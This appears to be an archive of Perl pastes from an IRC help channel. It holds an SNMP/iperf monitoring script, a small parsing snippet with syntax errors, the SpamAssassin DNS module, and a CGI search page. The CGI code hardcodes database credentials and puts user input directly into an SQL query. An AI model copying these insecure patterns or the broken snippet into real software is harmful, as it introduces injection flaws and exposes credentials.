  or:  erpsync --opiekun-ls

  --logo,-l           Company logo 
  --name,-n           Name
  --opiekun,-o        Opiekun 
  --opiekun-ls        Valid opiekun list
  --csv,-c            Path to csv file with data
  --daemon,-d         Run as daemon
  --help,-h           Print this help

=head1 VERSION

0.01

=cut


who: pizentios
where: localhost:perlbot:#perl
what: working rpi/iperf/snmp
paste:
use strict;
use warnings;
use FindBin qw($Bin);
use SNMP::Extension::PassPersist;


my $extSNMP = SNMP::Extension::PassPersist->new(
        backend_collect => \&update_tree
);

$extSNMP->run;

sub update_tree {
        my ($self) = @_;

#       system("iperf -c 10.254.255.16 -t2 > $Bin/iperf_result.txt");

        #open a result file that has been populated by a bash script and cron'ed
        open my $io, "<", "$Bin/iperf_result.txt" or die "Can't open result file";
        my @results = <$io>;

        #store the results in the proper place.
        $results[-1] =~ /(\d+\.\d+)\sMbits\/sec$/;
        my $speed_res = $1;



        my $upload_oid = ".1.3.6.1.4.1.8072.9999.9999.1767.1.1.1";
        #now lets add it:
        $self->add_oid_entry($upload_oid,"string", $speed_res);
        close $io;
}


who: Pizentios
where: localhost:perlbot:#perl
what: working rpi/iperf/snmp
paste:
use strict;
use warnings;
use FindBin qw($Bin);
use SNMP::Extension::PassPersist;
use Data::Dumper;


my $extSNMP = SNMP::Extension::PassPersist->new(
        backend_collect => \&update_tree
);

$extSNMP->run;

sub update_tree {
        my ($self) = @_;

        #open a result file populated via a bash script that is cron'ed 
        open my $io, "<", "$Bin/iperf_result.txt" or die "Can't open result file";
        my @results = <$io>;

        #store the results in the proper place.
        $results[-1] =~ /(\d+\.\d+)\sMbits\/sec$/;
        my $upload = $1;



        my $upload_oid = ".1.3.6.1.4.1.8072.9999.9999.1767.1.1.1";
        #now lets add it:
        $self->add_oid_entry($upload_oid,"string", $upload);
        close $io;
}


paste:
#!/usr/bin/perl
use strict; 
use warnings; 
use diagnostics;
use Data::Munge;

sub parse_name
{
    my ($input) = @_;
    
    my %prefix = (
        'Brand'     => 'ma',
        'Device'    => 'mo',
        'Browser'   => 'br',
        'OS'        => 'os',
    );

    my @result;
    my $prefix_re = list2re keys %prefix;

    while ($input =~ m{($prefix_re)/([^/]+)}g) {
        push @result, "$prefix{$1}_$2";
    }
    
    return join(':', @result), scalar @result;
}

my $name = "BLA/Brand/Banana/Device/Orange 4";
my ($result, $size) = parse_name($name);
//print $result[0]

my $name =  "BLA/Browser/Firefox";
my ($result, $size) = parse_name($name);
#print $result


who: shawn1
where: localhost:perlbot:#perl
paste:
# <@LICENSE>
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to you under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at:
# 
#     http://www.apache.org/licenses/LICENSE-2.0
# 
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# </@LICENSE>

use strict;  # make Test::Perl::Critic happy
package Mail::SpamAssassin::Dns; 1;

package Mail::SpamAssassin::PerMsgStatus;

use strict;
use warnings;
use bytes;
use re 'taint';

use Mail::SpamAssassin::Conf;
use Mail::SpamAssassin::PerMsgStatus;
use Mail::SpamAssassin::AsyncLoop;
use Mail::SpamAssassin::Constants qw(:ip);
use Mail::SpamAssassin::Util qw(untaint_var am_running_on_windows);

use File::Spec;
use IO::Socket;
use POSIX ":sys_wait_h";

use vars qw{
  $KNOWN_BAD_DIALUP_RANGES @EXISTING_DOMAINS $IS_DNS_AVAILABLE $LAST_DNS_CHECK 
};

# use very well-connected domains (fast DNS response, many DNS servers,
# geographical distribution is a plus, TTL of at least 3600s)
@EXISTING_DOMAINS = qw{
  adelphia.net
  akamai.com
  apache.org
  cingular.com
  colorado.edu
  comcast.net
  doubleclick.com
  ebay.com
  gmx.net
  google.com
  intel.com
  kernel.org
  linux.org
  mit.edu
  motorola.com
  msn.com
  sourceforge.net
  sun.com
  w3.org
  yahoo.com
};

$IS_DNS_AVAILABLE = undef;

#Removed $VERSION per BUG 6422
#$VERSION = 'bogus';     # avoid CPAN.pm picking up razor ver

###########################################################################

BEGIN {
  # some trickery. Load these modules right here, if possible; that way, if
  # the module exists, we'll get it loaded now.  Very useful to avoid attempted
  # loads later (which will happen).  If we do a fork(), we could wind up
  # attempting to load these modules in *every* subprocess.
  #
# # We turn off strict and warnings, because Net::DNS and Razor both contain
# # crud that -w complains about (perl 5.6.0).  Not that this seems to work,
# # mind ;)
# no strict;
# local ($^W) = 0;

  no warnings;
  eval {
    require Net::DNS;
    require Net::DNS::Resolver;
  };
  eval {
    require MIME::Base64;
  };
  eval {
    require IO::Socket::UNIX;
  };
};

###########################################################################

sub do_rbl_lookup {
  my ($self, $rule, $set, $type, $host, $subtest) = @_;

  $host =~ s/\.\z//s;  # strip a redundant trailing dot
  my $key = "dns:$type:$host";
  my $existing_ent = $self->{async}->get_lookup($key);

  # only make a specific query once
  if (!$existing_ent) {
    my $ent = {
      key => $key,
      zone => $host,  # serves to fetch other per-zone settings
      type => "DNSBL-".$type,
      sets => [ ],  # filled in below
      rules => [ ], # filled in below
      # id is filled in after we send the query below
    };
    $existing_ent = $self->{async}->bgsend_and_start_lookup(
        $host, $type, undef, $ent,
        sub { my($ent, $pkt) = @_; $self->process_dnsbl_result($ent, $pkt) },
      master_deadline => $self->{master_deadline} );
  }

  if ($existing_ent) {
    # always add set
    push @{$existing_ent->{sets}}, $set;

    # sometimes match or always match
    if (defined $subtest) {
      $self->{dnspost}->{$set}->{$subtest} = $rule;
    } else {
      push @{$existing_ent->{rules}}, $rule;
    }

    $self->{rule_to_rblkey}->{$rule} = $key;
  }
}

# TODO: these are constant so they should only be added once at startup
sub register_rbl_subtest {
  my ($self, $rule, $set, $subtest) = @_;
  $self->{dnspost}->{$set}->{$subtest} = $rule;
}

sub do_dns_lookup {
  my ($self, $rule, $type, $host) = @_;

  $host =~ s/\.\z//s;  # strip a redundant trailing dot
  my $key = "dns:$type:$host";

  my $ent = {
    key => $key,
    zone => $host,  # serves to fetch other per-zone settings
    type => "DNSBL-".$type,
    rules => [ $rule ],
    # id is filled in after we send the query below
  };
  $ent = $self->{async}->bgsend_and_start_lookup(
      $host, $type, undef, $ent,
      sub { my($ent, $pkt) = @_; $self->process_dnsbl_result($ent, $pkt) },
    master_deadline => $self->{master_deadline} );
  $ent;
}

###########################################################################

sub dnsbl_hit {
  my ($self, $rule, $question, $answer) = @_;

  my $log = "";
  if (substr($rule, 0, 2) eq "__") {
    # don't bother with meta rules
  } elsif ($answer->type eq 'TXT') {
    # txtdata returns a non- zone-file-format encoded result, unlike rdatastr;
    # avoid space-separated RDATA <character-string> fields if possible,
    # txtdata provides a list of strings in a list context since Net::DNS 0.69
    $log = join('',$answer->txtdata);
    local $1;
    $log =~ s{ (?<! [<(\[] ) (https? : // \S+)}{<$1>}xgi;
  } else {  # assuming $answer->type eq 'A'
    local($1,$2,$3,$4,$5);
    if ($question->string =~ m/^((?:[0-9a-fA-F]\.){32})(\S+\w)/) {
      $log = ' listed in ' . lc($2);
      my $ipv6addr = join('', reverse split(/\./, lc $1));
      $ipv6addr =~ s/\G(....)/$1:/g;  chop $ipv6addr;
      $ipv6addr =~ s/:0{1,3}/:/g;
      $log = $ipv6addr . $log;
    } elsif ($question->string =~ m/^(\d+)\.(\d+)\.(\d+)\.(\d+)\.(\S+\w)/) {
      $log = "$4.$3.$2.$1 listed in " . lc($5);
    } else {
      $log = 'listed in ' . $question->string;
    }
  }

  # TODO: this may result in some log messages appearing under the
  # wrong rules, since we could see this sequence: { test one hits,
  # test one's message is logged, test two hits, test one fires again
  # on another IP, test one's message is logged for that other IP --
  # but under test two's heading }.   Right now though it's better
  # than just not logging at all.

  $self->{already_logged} ||= { };
  if ($log && !$self->{already_logged}->{$log}) {
    $self->test_log($log);
    $self->{already_logged}->{$log} = 1;
  }

  if (!$self->{tests_already_hit}->{$rule}) {
    $self->got_hit($rule, "RBL: ", ruletype => "dnsbl");
  }
}

sub dnsbl_uri {
  my ($self, $question, $answer) = @_;

  my $qname = $question->qname;

  # txtdata returns a non- zone-file-format encoded result, unlike rdatastr;
  # avoid space-separated RDATA <character-string> fields if possible,
  # txtdata provides a list of strings in a list context since Net::DNS 0.69
  #
  my $rdatastr = $answer->UNIVERSAL::can('txtdata') ? join('',$answer->txtdata)
                                                    : $answer->rdatastr;
  if (defined $qname && defined $rdatastr) {
    my $qclass = $question->qclass;
    my $qtype = $question->qtype;
    my @vals;
    push(@vals, "class=$qclass") if $qclass ne "IN";
    push(@vals, "type=$qtype") if $qtype ne "A";
    my $uri = "dns:$qname" . (@vals ? "?" . join(";", @vals) : "");
    push @{ $self->{dnsuri}->{$uri} }, $rdatastr;

    dbg("dns: hit <$uri> $rdatastr");
  }
}

# called as a completion routine to bgsend by DnsResolver::poll_responses;
# returns 1 on successful packet processing
sub process_dnsbl_result {
  my ($self, $ent, $pkt) = @_;

  return if !$pkt;
  my $question = ($pkt->question)[0];
  return if !$question;

  my $sets = $ent->{sets} || [];
  my $rules = $ent->{rules};

  # NO_DNS_FOR_FROM
  if ($self->{sender_host} &&
        # fishy, qname should have been "RFC 1035 zone format" -decoded first
      lc($question->qname) eq lc($self->{sender_host}) &&
      $question->qtype =~ /^(?:A|MX)$/ &&
      $pkt->header->rcode =~ /^(?:NXDOMAIN|SERVFAIL)$/ &&
      ++$self->{sender_host_fail} == 2)
  {
    for my $rule (@{$rules}) {
      $self->got_hit($rule, "DNS: ", ruletype => "dns");
    }
  }

  # DNSBL tests are here
  foreach my $answer ($pkt->answer) {
    next if !$answer;
    # track all responses
    $self->dnsbl_uri($question, $answer);
    my $answ_type = $answer->type;
    # TODO: there are some CNAME returns that might be useful
    next if ($answ_type ne 'A' && $answ_type ne 'TXT');
    # skip any A record that isn't on 127/8
    next if ($answ_type eq 'A' && $answer->rdatastr !~ /^127\./);
    for my $rule (@{$rules}) {
      $self->dnsbl_hit($rule, $question, $answer);
    }
    for my $set (@{$sets}) {
      if ($self->{dnspost}->{$set}) {
	$self->process_dnsbl_set($set, $question, $answer);
      }
    }
  }
  return 1;
}

sub process_dnsbl_set {
  my ($self, $set, $question, $answer) = @_;

  # txtdata returns a non- zone-file-format encoded result, unlike rdatastr;
  # avoid space-separated RDATA <character-string> fields if possible,
  # txtdata provides a list of strings in a list context since Net::DNS 0.69
  #
  my $rdatastr = $answer->UNIVERSAL::can('txtdata') ? join('',$answer->txtdata)
                                                    : $answer->rdatastr;

  while (my ($subtest, $rule) = each %{ $self->{dnspost}->{$set} }) {
    next if $self->{tests_already_hit}->{$rule};

    if ($subtest =~ /^\d+\.\d+\.\d+\.\d+$/) {
      # test for exact equality, not a regexp (an IPv4 address)
      $self->dnsbl_hit($rule, $question, $answer)  if $subtest eq $rdatastr;
    }
    # senderbase
    elsif ($subtest =~ s/^sb://) {
      # SB rules are not available to users
      if ($self->{conf}->{user_defined_rules}->{$rule}) {
        dbg("dns: skipping rule '$rule': not supported when user-defined");
        next;
      }

      $rdatastr =~ s/^\d+-//;
      my %sb = ($rdatastr =~ m/(?:^|\|)(\d+)=([^|]+)/g);
      my $undef = 0;
      while ($subtest =~ m/\bS(\d+)\b/g) {
	if (!defined $sb{$1}) {
	  $undef = 1;
	  last;
	}
	$subtest =~ s/\bS(\d+)\b/\$sb{$1}/;
      }

      # untaint. (bug 3325)
      $subtest = untaint_var($subtest);

      $self->got_hit($rule, "SenderBase: ", ruletype => "dnsbl") if !$undef && eval $subtest;
    }
    # bitmask
    elsif ($subtest =~ /^\d+$/) {
      # Bug 6803: response should be within 127.0.0.0/8, ignore otherwise
      if ($rdatastr =~ m/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ &&
	  Mail::SpamAssassin::Util::my_inet_aton($rdatastr) & $subtest)
      {
	$self->dnsbl_hit($rule, $question, $answer);
      }
    }
    # regular expression
    else {
      my $test = qr/$subtest/;
      if ($rdatastr =~ /$test/) {
	$self->dnsbl_hit($rule, $question, $answer);
      }
    }
  }
}

sub harvest_until_rule_completes {
  my ($self, $rule) = @_;

  dbg("dns: harvest_until_rule_completes");
  my $result = 0;

  for (my $first=1;  ; $first=0) {
    # complete_lookups() may call completed_callback(), which may
    # call start_lookup() again (like in Plugin::URIDNSBL)
    my ($alldone,$anydone) =
      $self->{async}->complete_lookups($first ? 0 : 1.0,  1);

    $result = 1  if $self->is_rule_complete($rule);
    last  if $result || $alldone;

    dbg("dns: harvest_until_rule_completes - check_tick");
    $self->{main}->call_plugins ("check_tick", { permsgstatus => $self });
  }

  return $result;
}

sub harvest_dnsbl_queries {
  my ($self) = @_;

  dbg("dns: harvest_dnsbl_queries");

  for (my $first=1;  ; $first=0) {
    # complete_lookups() may call completed_callback(), which may
    # call start_lookup() again (like in Plugin::URIDNSBL)

    # the first time around we specify a 0 timeout, which gives
    # complete_lookups a chance to ripe any available results and
    # abort overdue requests, without needlessly waiting for more

    my ($alldone,$anydone) =
      $self->{async}->complete_lookups($first ? 0 : 1.0,  1);

    last  if $alldone;

    dbg("dns: harvest_dnsbl_queries - check_tick");
    $self->{main}->call_plugins ("check_tick", { permsgstatus => $self });
  }

  # explicitly abort anything left
  $self->{async}->abort_remaining_lookups();
  $self->{async}->log_lookups_timing();
  $self->mark_all_async_rules_complete();
  1;
}

# collect and process whatever DNS responses have already arrived,
# don't waste time waiting for more, don't poll too often.
# don't abort any queries even if overdue, 
sub harvest_completed_queries {
  my ($self) = @_;

  # don't bother collecting responses too often
  my $last_poll_time = $self->{async}->last_poll_responses_time();
  return if defined $last_poll_time && time - $last_poll_time < 0.1;

  my ($alldone,$anydone) = $self->{async}->complete_lookups(0, 0);
  if ($anydone) {
    dbg("dns: harvested completed queries");
#   $self->{main}->call_plugins ("check_tick", { permsgstatus => $self });
  }
}

sub set_rbl_tag_data {
  my ($self) = @_;

  # DNS URIs
  my $rbl_tag = $self->{tag_data}->{RBL};  # just in case, should be empty
  $rbl_tag = ''  if !defined $rbl_tag;
  while (my ($dnsuri, $answers) = each %{ $self->{dnsuri} }) {
    # when parsing, look for elements of \".*?\" or \S+ with ", " as separator
    $rbl_tag .= "<$dnsuri>" . " [" . join(", ", @{ $answers }) . "]\n";
  }
  if (defined $rbl_tag && $rbl_tag ne '') {
    chomp $rbl_tag;
    $self->set_tag('RBL', $rbl_tag);
  }
}

###########################################################################

sub rbl_finish {
  my ($self) = @_;

  $self->set_rbl_tag_data();

  delete $self->{dnspost};
  delete $self->{dnsuri};
}

###########################################################################

sub load_resolver {
  my ($self) = @_;
  $self->{resolver} = $self->{main}->{resolver};
  return $self->{resolver}->load_resolver();
}

sub clear_resolver {
  my ($self) = @_;
  dbg("dns: clear_resolver");
  $self->{main}->{resolver}->{res} = undef;
  return 0;
}

sub lookup_ns {
  my ($self, $dom) = @_;

  return unless $self->load_resolver();
  return if ($self->server_failed_to_respond_for_domain ($dom));

  my $nsrecords;
  dbg("dns: looking up NS for '$dom'");

  eval {
    my $query = $self->{resolver}->send($dom, 'NS');
    my @nses;
    if ($query) {
      foreach my $rr ($query->answer) {
        if ($rr->type eq "NS") { push (@nses, $rr->nsdname); }
      }
    }
    $nsrecords = [ @nses ];
    1;
  } or do {
    my $eval_stat = $@ ne '' ? $@ : "errno=$!";  chomp $eval_stat;
    dbg("dns: NS lookup failed horribly, perhaps bad resolv.conf setting? (%s)", $eval_stat);
    return;
  };

  $nsrecords;
}

sub is_dns_available {
  my ($self) = @_;
  my $dnsopt = $self->{conf}->{dns_available};
  my $dnsint = $self->{conf}->{dns_test_interval} || 600;
  my @domains;

  $LAST_DNS_CHECK ||= 0;
  my $diff = time() - $LAST_DNS_CHECK;

  # undef $IS_DNS_AVAILABLE if we should be testing for
  # working DNS and our check interval time has passed
  if ($dnsopt eq "test" && $diff > $dnsint) {
    $IS_DNS_AVAILABLE = undef;
    dbg("dns: is_dns_available() last checked %.1f seconds ago; re-checking",
        $diff);
  }

  return $IS_DNS_AVAILABLE if (defined $IS_DNS_AVAILABLE);
  $LAST_DNS_CHECK = time();

  $IS_DNS_AVAILABLE = 0;
  if ($dnsopt eq "no") {
    dbg("dns: dns_available set to no in config file, skipping test");
    return $IS_DNS_AVAILABLE;
  }

  # Even if "dns_available" is explicitly set to "yes", we want to ignore
  # DNS if we're only supposed to be looking at local tests.
  goto done if ($self->{main}->{local_tests_only});

  # Check version numbers - runtime check only
  if (defined $Net::DNS::VERSION) {
    if (am_running_on_windows()) {
      if ($Net::DNS::VERSION < 0.46) {
	warn("dns: Net::DNS version is $Net::DNS::VERSION, but need 0.46 for Win32");
	return $IS_DNS_AVAILABLE;
      }
    }
    else {
      if ($Net::DNS::VERSION < 0.34) {
	warn("dns: Net::DNS version is $Net::DNS::VERSION, but need 0.34");
	return $IS_DNS_AVAILABLE;
      }
    }
  }

  $self->clear_resolver();
  goto done unless $self->load_resolver();

  if ($dnsopt eq "yes") {
    # optionally shuffle the list of nameservers to distribute the load
    if ($self->{conf}->{dns_options}->{rotate}) {
      my @nameservers = $self->{resolver}->available_nameservers();
      Mail::SpamAssassin::Util::fisher_yates_shuffle(\@nameservers);
      dbg("dns: shuffled NS list: " . join(", ", @nameservers));
      $self->{resolver}->available_nameservers(@nameservers);
    }
    $IS_DNS_AVAILABLE = 1;
    dbg("dns: dns_available set to yes in config file, skipping test");
    return $IS_DNS_AVAILABLE;
  }

  if ($dnsopt =~ /^test:\s*(\S.*)$/) {
    @domains = split (/\s+/, $1);
    dbg("dns: looking up NS records for user specified domains: %s",
        join(", ", @domains));
  } else {
    @domains = @EXISTING_DOMAINS;
    dbg("dns: looking up NS records for built-in domains");
  }

  # do the test with a full set of configured nameservers
  my @nameservers = $self->{resolver}->configured_nameservers();

  # optionally shuffle the list of nameservers to distribute the load
  if ($self->{conf}->{dns_options}->{rotate}) {
    Mail::SpamAssassin::Util::fisher_yates_shuffle(\@nameservers);
    dbg("dns: shuffled NS list, testing: " . join(", ", @nameservers));
  } else {
    dbg("dns: testing resolver nameservers: " . join(", ", @nameservers));
  }

  # Try the different nameservers here and collect a list of working servers
  my @good_nameservers;
  foreach my $ns (@nameservers) {
    $self->{resolver}->available_nameservers($ns);  # try just this one
    for (my $retry = 3; $retry > 0 && @domains; $retry--) {
      my $domain = splice(@domains, rand(@domains), 1);
      dbg("dns: trying ($retry) $domain, server $ns ...");
      my $result = $self->lookup_ns($domain);
      $self->{resolver}->finish_socket();
      if (!$result) {
        dbg("dns: NS lookup of $domain using $ns failed horribly, ".
            "may not be a valid nameserver");
        last;
      } elsif (!@$result) {
        dbg("dns: NS lookup of $domain using $ns failed, no results found");
      } else {
        dbg("dns: NS lookup of $domain using $ns succeeded => DNS available".
            " (set dns_available to override)");
        push(@good_nameservers, $ns);
        last;
      }
    }
  }

  if (!@good_nameservers) {
    dbg("dns: all NS queries failed => DNS unavailable ".
        "(set dns_available to override)");
  } else {
    $IS_DNS_AVAILABLE = 1;
    dbg("dns: NS list: ".join(", ", @good_nameservers));
    $self->{resolver}->available_nameservers(@good_nameservers);
  }

done:
  # jm: leaving this in!
  dbg("dns: is DNS available? " . $IS_DNS_AVAILABLE);
  return $IS_DNS_AVAILABLE;
}

###########################################################################

sub server_failed_to_respond_for_domain {
  my ($self, $dom) = @_;
  if ($self->{dns_server_too_slow}->{$dom}) {
    dbg("dns: server for '$dom' failed to reply previously, not asking again");
    return 1;
  }
  return 0;
}

sub set_server_failed_to_respond_for_domain {
  my ($self, $dom) = @_;
  dbg("dns: server for '$dom' failed to reply, marking as bad");
  $self->{dns_server_too_slow}->{$dom} = 1;
}

###########################################################################

sub enter_helper_run_mode {
  my ($self) = @_;

  dbg("dns: entering helper-app run mode");
  $self->{old_slash} = $/;              # Razor pollutes this
  %{$self->{old_env}} = ();
  if ( %ENV ) {
    # undefined values in %ENV can result due to autovivification elsewhere,
    # this prevents later possible warnings when we restore %ENV
    while (my ($key, $value) = each %ENV) {
      $self->{old_env}->{$key} = $value if defined $value;
    }
  }

  Mail::SpamAssassin::Util::clean_path_in_taint_mode();

  my $newhome;
  if ($self->{main}->{home_dir_for_helpers}) {
    $newhome = $self->{main}->{home_dir_for_helpers};
  } else {
    # use spamd -u user's home dir
    $newhome = (Mail::SpamAssassin::Util::portable_getpwuid ($>))[7];
  }

  if ($newhome) {
    $ENV{'HOME'} = Mail::SpamAssassin::Util::untaint_file_path ($newhome);
  }

  # enforce SIGCHLD as DEFAULT; IGNORE causes spurious kernel warnings
  # on Red Hat NPTL kernels (bug 1536), and some users of the
  # Mail::SpamAssassin modules set SIGCHLD to be a fatal signal
  # for some reason! (bug 3507)
  $self->{old_sigchld_handler} = $SIG{CHLD};
  $SIG{CHLD} = 'DEFAULT';
}

sub leave_helper_run_mode {
  my ($self) = @_;

  dbg("dns: leaving helper-app run mode");
  $/ = $self->{old_slash};
  %ENV = %{$self->{old_env}};

  if (defined $self->{old_sigchld_handler}) {
    $SIG{CHLD} = $self->{old_sigchld_handler};
  } else {
    # if SIGCHLD has never been explicitly set, it's returned as undef.
    # however, when *setting* SIGCHLD, using undef(%) or assigning to an
    # undef value produces annoying 'Use of uninitialized value in scalar
    # assignment' warnings.  That's silly.  workaround:
    $SIG{CHLD} = 'DEFAULT';
  }
}

# note: this must be called before leave_helper_run_mode() is called,
# as the SIGCHLD signal must be set to DEFAULT for it to work.
sub cleanup_kids {
  my ($self, $pid) = @_;
  
  if ($SIG{CHLD} && $SIG{CHLD} ne 'IGNORE') {	# running from spamd
    waitpid ($pid, 0);
  }
}

###########################################################################

sub register_async_rule_start {
  my ($self, $rule) = @_;
  dbg("dns: $rule lookup start");
  $self->{rule_to_rblkey}->{$rule} = '*ASYNC_START';
}

sub register_async_rule_finish {
  my ($self, $rule) = @_;
  dbg("dns: $rule lookup finished");
  delete $self->{rule_to_rblkey}->{$rule};
}

sub mark_all_async_rules_complete {
  my ($self) = @_;
  $self->{rule_to_rblkey} = { };
}

sub is_rule_complete {
  my ($self, $rule) = @_;

  my $key = $self->{rule_to_rblkey}->{$rule};
  if (!defined $key) {
    # dbg("dns: $rule lookup complete, not in list");
    return 1;
  }

  if ($key eq '*ASYNC_START') {
    dbg("dns: $rule lookup not yet complete");
    return 0;       # not yet complete
  }

  my $ent = $self->{async}->get_lookup($key);
  if (!defined $ent) {
    dbg("dns: $rule lookup complete, $key no longer pending");
    return 1;
  }

  dbg("dns: $rule lookup not yet complete");
  return 0;         # not yet complete
}

###########################################################################

# interface called by SPF plugin
sub check_for_from_dns {
  my ($self, $pms) = @_;
  if (defined $pms->{sender_host_fail}) {
    return ($pms->{sender_host_fail} == 2); # both MX and A need to fail
  }
}

1;


who: algid
where: localhost:perlbot:#perl
what: the code
paste:
#!/usr/bin/perl
use DBI;
$DBI_USER = "xyz";
$DBI_PASS = "abc";

$mobilebr = "";
$mobileindent = "";
$mobileindent = "";
$mobileindent2 = "";
$notmobilecenter = "<center>";
$notmobilemargin = "100px";
if ($ENV{HTTP_USER_AGENT} =~ /mobile/i) {
	$mobilebr = "<br>";
	$notmobilecenter = "";
	$mobileindent = "padding-left:100px;";
	$mobileindent2 = "padding-left:50px;";
	$notmobilemargin = "";
}
$bgcolor='ffffff';
$bgcolor2='#ff5500';
$watermark_color='white';
if (length ($ENV{'QUERY_STRING'}) > 0){
	$buffer = $ENV{'QUERY_STRING'};
	@pairs = split(/&/, $buffer);
	foreach $pair (@pairs){
		($name, $value) = split(/=/, $pair);
		$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
		$in{$name} = $value; 
	}
	$checkphrase = $in{'k'};
	$checkcity = $in{'c'};
	$checkpage = $in{'p'};
	$checkphrase =~ s/\+/ /gi;
	$checkcity =~ s/\+/ /gi;
	$checkphrase =~ s/\-/ /gi;
	$checkcity =~ s/\-/ /gi;
	unless ($checkpage eq 'p'){
		$checkpage = "";
	}
	if ($checkphrase =~ /$checkcity/){
		$checkphrase =~ s/$checkcity//ig;
		$checkphrase =~ s/^\s//;
		$checkphrase =~ s/\s$//;
	}
}
if ($checkphrase ne "" || $checkcity ne ""){	
	$checkcity = lc($checkcity);
	$checkphrase = lc($checkphrase);
	if ($checkphrase =~ /[^\w\s]/gi || $checkcity =~ /[^\w\s]/gi || length($checkphrase) > 50 || length($checkcity) > 30){
		print "<font face=arial size=2 color=#ff5500>";
		print "Invalid term.\n";
		print "<br><a href=/><font face=arial size=2 color=#ff5500>Try again</font></a>";
		exit;
	} elsif ($checkpage eq "p" && ($checkphrase eq "" || $checkcity eq "") && ($checkphrase ne "" || $checkcity ne "")){
		page();
	} else{
		if ($dbh = DBI->connect('dbi:mysql:xyz:1.2.3.4', $DBI_USER, $DBI_PASS)){
			pull();
		}
	}
	sub error {	
		print "<font face=arial size=2 color=#ff5500>";
		print "Verification code does not match.";
		print "<br><a href=/><font face=arial size=2 color=#ff5500>Try again</font></a>";
		unlink "$tempdir/$ENV{'REMOTE_ADDR'}";
		exit;	
	}	
	sub nofile {		
		print "<font face=arial size=2 color=#ff5500>";
		print "Verification code does not match.";
		print "<br><a href=/><font face=arial size=2 color=#ff5500>Try again</font></a>";
		exit;	
	}	
	sub nopost {		
		print "<font face=arial size=2 color=#ff5500>";
		print "Method not allowed, input must be via a form post.";	
		print "<br><a href=/><font face=arial size=2 color=#ff5500>Try again</font></a>";
		exit;	
	}	
	sub form_parse  {
		read (STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
		@pairs = split(/&/, $buffer);
		foreach $pair (@pairs)
		{
		    	($name, $value) = split(/=/, $pair);
		    	$value =~ tr/+/ /;
		    	$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
		    	$FORM{$name} = lc($value);
		}	
	}
}

$citystate = "";
unless ($checkcity eq "" || $checkcity eq " " ){
		$sth = $dbh->prepare("select state from cities where city = '$checkcity'") or print "Couldn't prepare: $DBI::errstr\n";
                if ($sth->execute()) {
                        $checkstate = $sth->fetchrow_array();
			$sth->finish();
		}
	$checkcitydash = $checkcity;
	$checkcitydash =~ s/\s/-/g;
	$checkstatedash = $checkstate;
	$checkstatedash =~ s/\s/-/g;
	unless ($ENV{REQUEST_URI} =~ /\/$checkstatedash\/$checkcitydash/i || (($ENV{REQUEST_URI} =~ /xyz\/$checkstatedash/i || $ENV{REQUEST_URI} eq /xyz\/$checkstatedash\//i) && $checkstatedash eq $checkcitydash)|| $ENV{REQUEST_URI} =~ /\/$checkstatedash\/$checkstatedash/i ){
		use CGI;
		my $q = CGI->new;
		$headlocation = "https://xyz.com/xyz/".$checkstate."/".$checkcity."/".$checkphrase."/";
		$headlocation =~ s/\s/-/g;
		print $q->header(-location => $headlocation);
		print "Content-Type: text/html\n\n";
		print $headlocation;
	}

	unless ($checkcity eq $checkstate) {
		$citystate = $checkcity.", ".$checkstate;
	} else {
		$citystate = $checkstate;
	}
}

print "Content-Type: text/html\n\n";
$cityphrase = ucfirst($checkphrase)." ".ucfirst($citystate);
$cityphrase =~ s/(\w+)/\u$1/g;
$cityphrasecomma = "";
unless ($cityphrase eq "" || $cityphrase eq " "){
	$cityphrasecomma = $cityphrase." - ";
}
$title = $cityphrasecomma."XYZ - XYZ";
$title = ucfirst($title);


print "<html><head><meta name=\"description\" content=\"$title\">";
print "<title>$title</title>\n";
if (length ($ENV{'QUERY_STRING'}) > 0){
      $buffer = $ENV{'QUERY_STRING'};
      @pairs = split(/&/, $buffer);
      foreach $pair (@pairs){
           ($name, $value) = split(/=/, $pair);
           $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
	   @values = split/-/, $value,7;
	   foreach (@values){
	   	$_ = ucfirst($_);
	   }
	   $values = join(' ', @values); 	
           $in{$name} = $values; 
      }
 }
$randomnumber = int(rand(9999));
print <<EOF;
<html><head>
<!--[if lt IE 9]>
<script src="/html5.js" type="text/javascript"></script>
<![endif]-->
<script type='text/javascript' src='/jquery.js?ver=1.8.3'></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script><script type="text/javascript">
/* <![CDATA[ */
\$(function() {
	var input = document.createElement("input");
    if(('placeholder' in input)==false) { 
		\$('[placeholder]').focus(function() {
			var i = \$(this);
			if(i.val() == i.attr('placeholder')) {
				i.val('').removeClass('placeholder');
				if(i.hasClass('password')) {
					i.removeClass('password');
					this.type='password';
				}			
			}
		}).blur(function() {
			var i = \$(this);	
			if(i.val() == '' || i.val() == i.attr('placeholder')) {
				if(this.type=='password') {
					i.addClass('password');
					this.type='text';
				}
				i.addClass('placeholder').val(i.attr('placeholder'));
			}
		}).blur().parents('form').submit(function() {
			\$(this).find('[placeholder]').each(function() {
				var i = \$(this);
				if(i.val() == i.attr('placeholder'))
					i.val('');
			})
		});
	}
});
/* ]]> */
</script>
<title>Check Rankings</title>

<link rel='stylesheet' id='twentyfourteen-style-css'  href='/xyz/style.css?ver=3.9.1' type='text/css' media='all' />
<style>
input[placeholder], [placeholder], *[placeholder] {
   /*color:#cc9900 !important;*/
   color:white !important;
   opacity:1 !important;
}
input::-webkit-input-placeholder{
    color:white;
    opacity:1 !important;
}
input:-moz-placeholder {
    color:white;
    opacity:1 !important;
}
input::-moz-placeholder {
    color:white;
    opacity:1 !important;
}
img.ajax-loader { display: none; }
.placeholder {
  color: white;
  opacity:1 !important;
  }
</style>
<STYLE TYPE="text/css">
<!--
.indented
   {
   padding-left: 10px;
   padding-top: 10px;
   word-wrap: normal;
   line-height: 200%;
   }
-->
</STYLE>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
